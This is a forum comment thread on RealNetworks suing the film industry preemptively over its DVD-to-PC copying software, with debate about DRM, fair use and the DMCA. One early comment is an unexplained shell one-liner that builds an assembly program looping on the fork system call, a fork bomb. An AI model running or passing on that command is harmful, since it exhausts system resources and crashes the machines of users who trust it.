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RealNetworks, Film Industry Headed To Court
netbuzz writes "Apparently tired of waiting to be sued by the movie studios over its new DVD-to-PC copying software, RealNetworks this morning announced it will file a preemptive lawsuit in an attempt to authoritatively establish that the product does not infringe on copyright restrictions. Within an hour or so, the Motion Picture Association of America said it would have a litigation announcement of its own this afternoon."
RealNetworks is saying "Hey look at me everyone! Why doesn't anyone ever notice me?"
Because well, it just is. At least for me.
I think you underestimate just how much I just dont care.
vs the MPAA.
Nope, I give up. I can't decide which I want to lose.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
odd to say that, and first woot!
Ah! Lawyers...
Always trying to make trouble when there is none yet...
When did Real become non-evil?
(RealPlayer for Linux is actually a really good media player. Works well, plays everything, none of the quasi-spyware behaviour it was famous for on Windows. CULTURE SHOCK!)
http://rocknerd.co.uk
Phew, I can't decide whether this should get tagged as "yee-hah" or "Giddeeup".
ôó
If we're really lucky, they both will spend exorbitant amounts of money litigating, and then the judge will award $1 to the plaintiff.
I am officially gone from
Real looks to be pulling a publicity stunt. I bet their original game play was to get the MPAA to sue them to attract attention to their terrible company to drive revenues up. The best response for the MPAA would be to ignore this with the expectation that nothing Real can do will save their company and to claim that there are individual pirates on the P2P networks who deserve more attention than Real's childishness.
Also, preemptive lawsuit? WTF?
Support the 30 Hour Work Week!!!
*continues to use DVD Shrink for free anyway since it has no DRM*
It's better to vote for what you want and not get it than to vote for what you don't want and get it.
- E. Debs
When the court decides its legal to rip the dvd's, but only with spyware that hinders your boxen and shows you naked celeb-titties and is well branded by a reputable name like real networks.
None of that commie-hippie linux-shit, no sireee.
NO SIG
Better be judged now when no big trouble has been found yet (so ruled not guilty) than later, when a really big problem/example could be found. If they pass the actual test, will be saved for all the future ones.
Judge: This court finds in favor of the MPAA.
Real: But... we sued them!
Judge: Look, I understand you're a startup company...
Real: We've been around forever!
Judge: ---Really? Never heard of you. $10 million or 40,000 innocent souls to the MPAA, to be paid by Friday.
Those who believe the Internet is private,
find their privates are on the Internet.
A content company..... that doesn't always see eye to eye with the MAFIAA? Alright! Which one of you divided by zero?
In all seriousness, I have yet to see a company that has purely altruistic motives. I'm quite convinced that it is most assuredly within the realm of impossibility. I'm not wondering if Real is simply moving proactively to guard against what they view as a threat to one of their revenue streams.
But maybe, just maybe, karma and ironic fate have come back to bite the MAFIAA in the ass. And who knows, if Real wins, other companies may bring this kind of litigation as well.
does RealNetworks' DVD copying software _charge users $20_ for burning DVDs playable on multiple computers (still limited to a maximum of 5)?
how can they purport to be a champion of consumer rights/fair use when they're charging users to burn copies of their own DVDs and restricting users from playing these copies from more than 5 computers?
and who exactly are users paying the $20 to for being able to play their copies on more than one computer if not the MPAA or film makers? they actually have the galls to charge users for an additional license fee on works that they don't hold the rights to, and then they're turning around and saying that they're defending fair use rights? what a load of BS.
consumers should be allowed to make backups of their purchases without DRM and usage restrictions. they shouldn't have to pay for the right to make DVD copies that are playable on multiple computers, much less pay RealNetworks for that right.
You will not be hearing this from me again:
Real, you're awesome. Good luck!
Dewey, what part of this looks like authorities should be involved?
I took at look at RealNetworks' filing, but it didn't elicit much useful information:
Plantiffs RealNetworks, Inc. (herein known as PlantiBUFFERING... 4%
Karma: Excellent Birds (mostly as a result of listening to Laurie Anderson)
A courtroom is something most of us with even a modicum of common sense do our best to stay out of. There are no guarantees (well none except that the lawyers on both sides will get rich) of what can happen in there. To go all preemptive over this must mean that Real suspects that the MPAA themselves are not wanting to see this before a judge and Real feels they may have leverage. Heaven knows that the MPAA otherwise is hardly shy or retiring about filing suits of their own over imagined slights.
"It's the height of ridiculousness to say for those 9 lines you get hundreds of millions."
The only DVDs worth burning are those that play in your plain vanilla DVD player sitting on the shelf below your television, or in your portable player. To call anything else DVD movie burning is a misstatement of the facts!
"It's the height of ridiculousness to say for those 9 lines you get hundreds of millions."
This is not about "your rights". This is about lawyers making sure they and their counterparts are assured the driver's seat on this particular gravy train. There are plenty of other DVD copying programs out there being soundly ignored by MPAA and Real is already more reputable (in terms MPAA would accept) than the others. The only way the MPAA would be ready to reply same day with their own announcement is if they were already planning on doing so, and that requires knowing Real's intentions prior to their announcement. Much as I enjoy MPAA getting tweaked, I'm not going to credit Real with altruism when this amounts to nothing more than self-serving PR and income enhancement via docket padding.
"I may be synthetic, but I'm not stupid." -- Bishop 341-B
I wouldn't have guesses that you could preemptively sue someone who could sue you. Makes me see Jack Thompson from a different light, maybe he was just having fun with the legal system.
"Thanks for all the money you paid to us. We've used it to buy off ISO among other things" -Microsoft
Should we call this out for what it is?
CORPORATE GOSSIP WRESTLING.
Example: "Well this company sues other companies over these types of matters. Now this company that might get sued is now starting up a lawsuit of its own, calling out the suing company. A decorative and pointless battle will be fought and staged and ignored by many over a product that not many people may end up investing in."
Blech.
Their motivation is commercial, but RealNetworks is nevertheless defending (some aspects of) fair use. What is very important is that RealNetworks is saying that content owners do not get to make the final determination of what is and is not fair use.
The content owners have been overreaching on copyright by a large amount and for a long time now. I happen to think the current copyright law gives them far too much. But even saying "you only get to take what the law gives you and no more" would be an improvement on the present situation.
Some nice action in the commercial marketplace to push the grabby MPAA back into the spacious terrain that's been staked out for them is a Good Thing.
"How to Do Nothing," kids activities, back in print!
Ah, RealNetworks and MPAA, battling for years in court, spending tens or hundreds of million dollars.
It does my heart good. It really does. I'd be hard pressed to come up with two groups who deserve each other more than them. In an ideal world, Real would win, leaving the MPAA dead on the floor. They'd stagger a few steps, and before getting a chance to celebrate their victory, drop dead themselves.
In reality, it'll hopefully at least hurt them both a bit.
"People who do stupid things with hazardous materials often die." -- Jim Davidson on alt.folklore.urban
I bought RealJukebox and really liked it. The license said I had access to upgrades for the lifetime of the product. This purchase included the full version of RealPlayer too, with no adverts.
Then they changed the license terms within months (at the time they introduced OnePlayer) and said I had to repurchase at full price if I wanted to upgrade to OnePlayer. Oh, and they discontinued RealJukebox, and I wasn't allowed to update my copy of standalone realplayer either without paying the full licence fee again.
I wouldn't have minded a small upgrade fee I guess, although I would have grumbled, but I paid a fair bit for my original licence, and I was pissed off that it got junked so fast.
The chances of my paying for or using a RealNetworks product again are pretty much nonexistant.
A learning experience is one of those things that say, 'You know that thing you just did? Don't do that.' - D. Adams
When SCO was going around saying they were going to sue Linux users for vague, unspecified "IP" claims, Red Hat preemptively sued SCO, telling them, essentially, to put-up-or-shut-up about their claims.
http://www.groklaw.net/article.php?story=169 (from 2003).
Seriously though, all of these DRM schemes (Real, CSS itself, FairPlay, whatever) are attempts to tie the license to a copyrighted work to a specific device as opposed to a person . Therein lies the root of the entire problem.
It's not so much how the content is encrpted or what it works with or doesn't. That's the big red herring in all of these arguments. The important question is "what do customers actually buy?"
Are you buying a physical copy? That is the old model - go to the store, buy a disk, and it plays on all your devices. If it breaks or wears out, you buy another.
Are you buying a license to use the work instead? If so, the customer's rights are seperate from the physical copies. See, for example, site licenses for software, where you may have one CD and 100 licenses that can be moved from device to device as needed.
The whole idea behind these DRM schemes is an attempt to sell copies under the "old model" when the market is demanding the second, and is enabled by current technology such that it's now feasible for things to work that way. Indeed, it appears that the *AA are really trying to combine the worst aspects of both models to create a "third way" that really boils down to rent-seeking instead of sales. In other words, content is never purchased, but is merely rented.
The solution is a model where the works are licensed to an individual. The *AA could easily provide a "registration service" for specific works that could be referred to if a question as to licensing ever arose.
Copyright is not per se a bad thing at all, but the abuse of it to generate repeat sales of the same works to the same individual IS flat-out evil.
I havent used your buggy ass software since the mid 90s. Im pretty sure most of the people you WANT using your software are doing the same.
What I find astounding here is that a real failure like Real Networks has managed to somehow stay afloat and not go under ALL this time.
I'd say more but swordgeek said it best
And this has been another installament of Captain Obvious!
They copyright owner has certain rights to control the content, regardless of whether or not you've ripped it to disk or another medium. IMO, once you make the initial purchase ( a la the first sale doctrine), the rights of the copyright owner should diminish, but there should still be some prohibitions in place (e.g., making reproductions for profit, duplication and distribution with the intent of denying the copyright holder income). I write songs. If someone buys a disc or CD with my music, I don't care if they make copies or put it on every media player in the house--I made my dime. If they want to start duplicating CDs and giving them to some of their closest friends, I'm okay with that. If they want to burn dozens or hundreds of my CDs and distribute them broadly, or sell them at a local flea market or garage sale, then they are out of line. If another artisit wants to record one of my songs, they should pony up the dollars. If some kid wants to play my song at a talent contest, let him.
I use irony whenever I can, but my shirts are still wrinkled...
an attempt to authoritatively establish that the product does not infringe on copyright restrictions
Of course it doesn't violate copyright law, it violates the DMCA which does not allow you to remove or circumvent the copy protection.
Will the court have to *buffering* recess to *buffering* allow the full argumen *buffering* ts to be heard?
Worlds longest *buffering* court case...
This Emperor truly has no clothes. Here's why...
CSS encryption was broken so long ago by now that a lot of people don't even remember non-crackable movie DVDs. At best it's a low tripwire rather than an insurmountable barrier.
The content industry contends that Real's product, like Kaleidoscope's before them, removes even the tripwire for people who are too stupid to know how to Google. They further contend that there's this "delicate balance" of DRM that allows the studios to release their "incredibly valuable" content to the consumers in standard digital form and still sleep at night. Without keeping this nebulous veil that the works are protected against copying the studios would not release any movies to DVD any longer.
IT'S A LIE!
Studios make half their profits from any movie off of DVD sales. They can't afford to give them up. Blockbuster rentals didn't destroy them. Netflix hasn't destroyed them. deCSS hasn't destroyed them, and neither will Real. In short:
THE STUDIOS AREN'T GOING TO QUIT SELLING DVDs BECAUSE THEY CAN'T AFFORD TO!
So much for the big scary stories that your DVD player is about to become a paperweight. Ain't going to happen. Yeah they'll make a bit less than extracting every last penny, but they're not going to pull DVD sales because there is yet another hole in the armor of DRM.
In fact, DRM never was about "copy protection". Make a bit-by-bit copy of any movie DVD with all the DRM intact and the copy plays just like the original.
CSS DRM DOES NOT PREVENT EXACT COPIES FROM BEING MADE! IT ISN'T COPY PROTECTION!
Are we clear on that now? All DRM does is limit your ability on where and how you can play your lawfully purchased content. The content provider would like to sell you one copy to play on your television, then another full price copy to play on your computer, and then another full price copy to play on your game console, your game handheld, your portable DVD player... They'd love to sell you the same content over and over and over again (think vinyl, cassette, CD, iTunes).
The problem is that people now have more choices than ever (HDTV, PC, Gameboy, iPod) all at the same time and they want to Buy-Once-Play-Everywhere. Furthermore they don't see why they shouldn't be allowed to do this. And every moderate to wealthy household has a powerful engine in their own personal computer(s) capable of making all this happen. The movie industry's dream of pay-per-each-viewing, pay-per-device is a lovely dream not likely to ever be realized. Try that and there will be a revolution that will truly put them in their place.
So don't buy into the farce that only DRM makes it possible for us to have DVD movies. PROFITS are what make it possible for us to have DVD movies and those profits are still there. Enough people buy legal DVDs to keep the system running, and are likely to continue to do so.
So quit lying to us about the necessity of DRM, or how Real can't be allowed to do what is already being done. Try to make our lives simplier, not more complex, and quit trying to pick our pockets every moment. Times are hard enough right now as it is, and I don't see movie star and studio executive salaries declining as fast as my own yet.
"It's the height of ridiculousness to say for those 9 lines you get hundreds of millions."
Comment removed based on user account deletion
With Fairplay etc you must make a copy of the content. Thus there is an argument for "licensing" of it.
However, CSS is attached to something you buy. If you go to a store and buy a DVD, you do not license it, any more than you "license" a book by buying it from a bookstore.
I have to keep bringing this up because this whole "licensing" thing is what the media companies are trying to brainwash us into accepting. Thus DRM becomes part of licensing, rather than what it is: a method to extend control over content beyond what copyright law allows.
I bet you didn't know that, ahem ..
"The worldwide motion picture industry, including foreign and domestic producers,
distributors, theaters, video stores and pay-per-view operators lose more than $18 billion
annually as a result of movie theft. More than $7 billion in losses are attributed to illegal
Internet distributions, while $11 billion is the result of illegal copying and bootlegging."
http://www.mpaa.org/press_releases/realdvd%20press%20release%209%2030%2008%20final.pdf
My turnips listen for the soft cry of your love
Hey look, two evil corporations suing each other. As long as one of them loses, we all win! And if not, this will at least put a dent in the litigation budget.
Maybe we can bring back the +++NO CARRIER and RFC1149 "classic" connectivity jokes from the 90's, too!
Or not.
Cue South Park's portrayal of Johnnie Cochran and the Chewbacca defense in 5, 4, 3....
I love that bit! I know the whole thing by heart - Check this out...
"Hi. I'm Johnnie Cochrane. This is the Chewbacca Defense."
Heh, that bit cracks me up!
Bow-ties are cool.
The American Federal courts have a long standing tradition - a Constitutional tradition - of not issuing advisory opinions. What they want to see is "a case or controversy" that has evolved and matured in the real-world, if you can excuse the accidental pun.
1. Sometimes you just don't get a second chance to make a first impression. Cruel, maybe, but it just means that some of us have a working memory. If I put my finger into the flame once as a kid, I don't try it again. I don't go thinking, "well, maybe fire changed in the meantime." And if I got burned by a company once, maybe I won't give them a second chance either. Deal with it. They shouldn't have been dumbasses in the first place, if they can't take the consquences later.
It's not just some discrimination against Real. If Anarchy Online was a festering pile of crap at launch, I don't go and reactivate my account every other month to see if they finally fixed it. I'm just not interested any more. There are alternatives. They had their one chance at my money, I don't owe them a second one. Etc. Same with Real. Plain and simple.
And in the end, I find nothing wrong with that. If you could just completely erase _all_ consequences of past asshole behaviour, there would be no incentive to not be an asshole in the first place. If a company can try to be evil in one year, then just proclaim itself reformed and suffer no further inconvenience. It would, in fact, be outright stupid to _not_ try something evil, if it doesn't harm you more than a couple of months worth of sales. You try it and if it works, you strike it big, and if you don't, you just proclaim yourself reformed and good. I don't like that prospect. I quite like it that pissing off your customers can haunt you long term. Keeps other fucktards from trying to be evil.
2. I don't buy the whole "suddenly they're non-evil" crap anyway. Hello? We're talking about yet another company pushing a crap DRM.
And in this particular case I have no sympathy for them either. If they had offered a non-DRM-ed way to rip your movies to, say, MPEG, I'd even be on their side. Yay for whoever sticks it to MPAA. But they're just trying to replace one crap DRM with their own crap DRM, and an expensive one at that. It's not even _instead_ of the MPAA DRM. Now I pay the DVD tax once when I buy the DVD, and have to pay Real extra to play my backup on any other machine. Hello? Even skipping the financial aspect, it's a more retardedly draconian DRM than what it replaces. A DVD doesn't forbid me from taking it out of one computer and playing it on another.
But that financial aspect is what bothers me the most, actually, because that's where they lose any moral high ground imaginable. They're adding their own DRM crap to someone else's work, and extorting some money to be able to play it. I see it no different morally from the guy selling burned DVDs to profit from someone else's work. It's not some great strike for freedom, it's yet another sleazeball trying to add his own shackles on that chain and milk it too.
So basically I don't see them as really changed at all. It's the same sleazeballs trying another angle at still being sleazeballs.
And sometimes supporting Linux doesn't make everything else right. E.g., if I used Linux to empty your bank account, it would still be a crime. And some evil sleazeballs who support Linux are still evil and sleazeballs. Sometimes the enemy of my enemy still isn't my friend.
And sometimes "90% open source" is just the sweetener for the other 10% which are a DRM as evil as anyone else's. And in this case they're strapping it on someone else's work.
A polar bear is a cartesian bear after a coordinate transform.
So - MPAA would like to outlaw this one technology but is not seeking to also eliminate any or all of audio cassette recorders, 8-track recorders, CD R/RW, DAT, VHS, Beta, etc...
IANAL but... if I were the judge in this case I'd be asking why they think this one data archiving technology is any different from any other and... if they have any accommodation for content owned by the user.
My office has been taken over by iPod people.
Of course it doesn't violate copyright law, it violates the DMCA which does not allow you to remove or circumvent the copy protection.
Pffft, DRM isn't copy protection! It's rights management -- which, through their intentional ambiguity of what the name could mean, inadvertently leaves me free to interpret it as more akin to digital shrinkwrap. Just another peel to get through before I can watch my movie. It's not illegal for me to remove the plastic wrap, warning stickers, label sticker, plastic latches, and tiny metal security sticker that sets off the alarms in the store sometimes even after I've paid for it. How could DRM be construed as anything but a digital representation of the last to Joe K. Mediabuyer? I submit, under the current terminology, it is not.
I am the richest astronaut ever to win the superbowl.
dd if=/dev/dvd of=/home/acoward/mydvd.iso
I'm just sayin'
My comments were in reply to the line in the parent that suggested that the copyright holder had no rights to a backup copy that was made. That is simply not true. The copyright holder still owns the rights (during the copyright term) to the copyrighted work (the creative work).
It is unfortunate that the industry is trying to limit traditional fair use rights (like making a usable backup copy, or sharing a work with a friend), but it does not change the fact that they still own copyright over the created work, regardless of the medium on which it is stored (e.g., hard disk, DVD, flash drive).
Pleae grow up and mod comments "Offtopic" only if they truly are off-topic. In the context, my comment was entirely on-topic.
I use irony whenever I can, but my shirts are still wrinkled...
This is, indeed, the core of the case. Everyone can claim this is about establishing fair use rights through a new court decision, but it is really aimed directly at the heart of the DMCA. Specifically, if a use is covered under "fair use," then the DMCA provides no prohibition to an end user circumventing any technological measure. However, as a practical matter, to do so is impossible as the DMCA specifically prohibits the sale, transfer, or publication of any circumvention process. In other words, it may be legal to make a copy or format shift, but you have to crack the protection and code it all up by yourself.
IMO, this is utter bullshit and this provision should be overturned by the courts. We don't require you refine your own gasoline for fear that if somebody sells it to you you'll go run down a playground full of children (oh, won't you think of the children!), why should the law restrict distribution of software for an utterly legitimate purpose - format shifting. I have ripped my DVDs (thanks to dvddecrypter, and more recently the nice folks as SlySoft) to a fileserver for (1) convenience and (2) preservation of the significant investment in DVDs I have. It's mighty nice to sift through the titles in MyMovies (.dk, btw) and select the one to play. As a bonus, the several thousand dollars in discs are carefully packed away, protected from scratches and hungry players*.
I hope this is the case that gets this onerous provision of the DMCA overturned.
*Sony jukeboxes are known for destroying CDs and DVDs by carving a groove across the playing face of the disc adjacent to the mechanism. I lost about 4 DVDs to just such a box. Thanks to usenet, I have working backups of those movies now.
Is it just my observation, or are there way too many stupid people in the world?
Facts:
1. RealDVD is an app that breaks the CSS "protection" on DVD movies, rips it to your PC, and wraps the resultant mess in DRM of its own.
2. They're suing the film industry to legitimize the RealDVD application.
So the supposed criminal is suing the predicted plaintiff... What kind of law suit is that ? Pardon my ignorance, but I live in a non-trigger-happy country where lawyers are not kept as house pets, and certainly not fed table food.
If I go steal a car off the lot, should I sue the dealership to assert my dog-given-right to steal cars ?
RealNetworks might as well mail a blank cheque to the MPAA. This is not helping anyone we care about. It's one asshole vs another.
-Billco, Fnarg.com
The lawsuit has nothing to do with whether or not RealNetworks' product infringes copyright restrictions. It has to do with whether or not RealNetworks' product violates the contract that they signed to legally get the CSS keys for DVDs. That contract is essential to avoid violating the DMCA with DVD copying software; having it gives you permission to create products that decrypt DVDs. That's what tripped up 321 Studios a few years back; they didn't have a CSS contract.
Just recently a judge ruled that the "CSS General Specifications", which are given to a licensee after the contract is signed (ostensibly because the specs include confidential information that can only be disseminated after the licensee is bound by the contract), are not themselves part of the contract. As the provisions forbidding copying are written up in the "CSS General Specifications," the judge ruled that the contract itself does not forbid creating products that copy DVDs. That ruling has been appealed, but I haven't been able to find anything about the appeal. I presume that it hasn't been heard yet.
I believe the precedent for this was set in the DVD-Jon case. Since its already settled case law, then RealNetworks should have a walk in the park with this.
http://www.theregister.co.uk/2008/09/30/realnetworks_sued/
Pathological kinda promises Path + Logical - but instead, you get stuck with pathetic.
I think I should spend some time in a torrent portal before the worm hole closes.